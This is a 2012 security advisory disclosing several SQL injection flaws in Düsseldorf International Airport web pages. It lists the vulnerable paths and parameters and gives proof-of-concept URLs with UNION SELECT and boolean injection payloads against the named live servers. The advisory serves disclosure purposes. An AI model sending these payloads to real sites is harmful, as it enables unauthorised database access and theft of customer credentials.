Document Title: =============== DUS INT Airport - Multiple SQL Injection Vulnerabilities References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=173 Release Date: ============= 2012-01-11 Vulnerability Laboratory ID (VL-ID): ==================================== 173 Product & Service Introduction: =============================== Duesseldorf International - Large airports are regional poles for growth all around the world. For the home economy they provide a quick access to the important markets and every metropolis all over the world. They interconnect economic regions and form the basis for business. In many industries the proximity to an airport plays a major role with the decision about the branch also for foreign investors; but it is the entire environment that benefits. Düsseldorf International is the most important airport in Germany s most important economic region. It places ready an infrastructure for the state that opens it up from inside and makes it accessible from outside. (Copy of the Vendor Homepage: http://www.duesseldorf-international.de) Abstract Advisory Information: ============================== An anonymous Vulnerability Laboratory Researcher discovered multiple (critical/remote) SQL Injection Vulnerabilities on Duesseldorf-international airport Vendor website/portal. Vulnerability Disclosure Timeline: ================================== 2010-12-13: Vendor Notification 2011-01-02: Vendor Notification 2 2011-02-02: Vendor Notification 3 2011-12-01: Vendor Fix/Patch by VLAB CHECK 2012-01-11: Public or Non-Public Disclosure 2011-01-18: Vendor Response/Feedback Discovery Status: ================= Published Affected Product(s): ==================== Exploitation Technique: ======================= Remote Severity Level: =============== Critical Technical Details & Description: ================================ Multiple SQl-Injection vulnerabilities are detected on the DUS INT Airport Website & Services. The remote vulnerability allows an remote attacker to execute own sql commands on the vulnerable value or module. Successful exploitation of the remote SQL Injection vulnerabilities can result in access to all db tables, read sensitive information like customer passwords, usernames & Co. Vulnerable Module(s): [+] Fotoarchiv [+] Shoplist [+] Media info Picture(s): ../01.jpg ../02.jpg ../03.jpg Proof of Concept (PoC): ======================= The sql injection vulnerabilities can be exploited by remote attacker without user inter action. For demonstration or reproduce ... VULNERABLE SECTIONS Server: www.duesseldorf-international.de Path: /dus/fotos_grafiken/ Files: index.php Para: ?from=fotoarchiv&foto_id=28 [sqlinj] Server: www.flughafen-duesseldorf.de Path: /dus/shopliste/ Files: index.php Para: ?back=/besucher/&suche=branche&branche_id=1 [blind sqlinj] Server: www.duesseldorf-international.de Path: /dus_en/medieninfo_detail/ Files: index.php Para: ?limit=0&recherche=1&thema=47&id=30 [sqlinj] PoC: http://www.duesseldorf-international.de/dus/fotos_grafiken/?from=fotoarchiv&foto_id=28%20union%20all%20select%201,2,3,4-- http://www.flughafen-duesseldorf.de/dus/shopliste/?back=/besucher/&suche=branche&branche_id=1%20and%201=2 http://www.duesseldorf-international.de/dus_en/medieninfo_detail/?limit=0&recherche=1&thema=47&id=30 and 1=2 union all select 1,2,@@version,@@version,@@version,6,7,8,9,10,11-- Reference(s): http://www.duesseldorf-international.de/dus/fotos_grafiken/?from=fotoarchiv&foto_id=28 http://www.flughafen-duesseldorf.de/dus/shopliste/?back=/besucher/&suche=branche&branche_id=1 http://www.duesseldorf-international.de/dus_en/medieninfo_detail/?limit=0&recherche=1&thema=47&id=30 Solution - Fix & Patch: ======================= 2011-12-01: Vendor Fix/Patch by VLAB CHECK Security Risk: ============== The security risk of the remote sql injection vulnerabilities are estimated as very critical because of the infrastructure behind. Credits & Authors: ================== Vulnerability Research Laboratory - N/A Anonymous Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. 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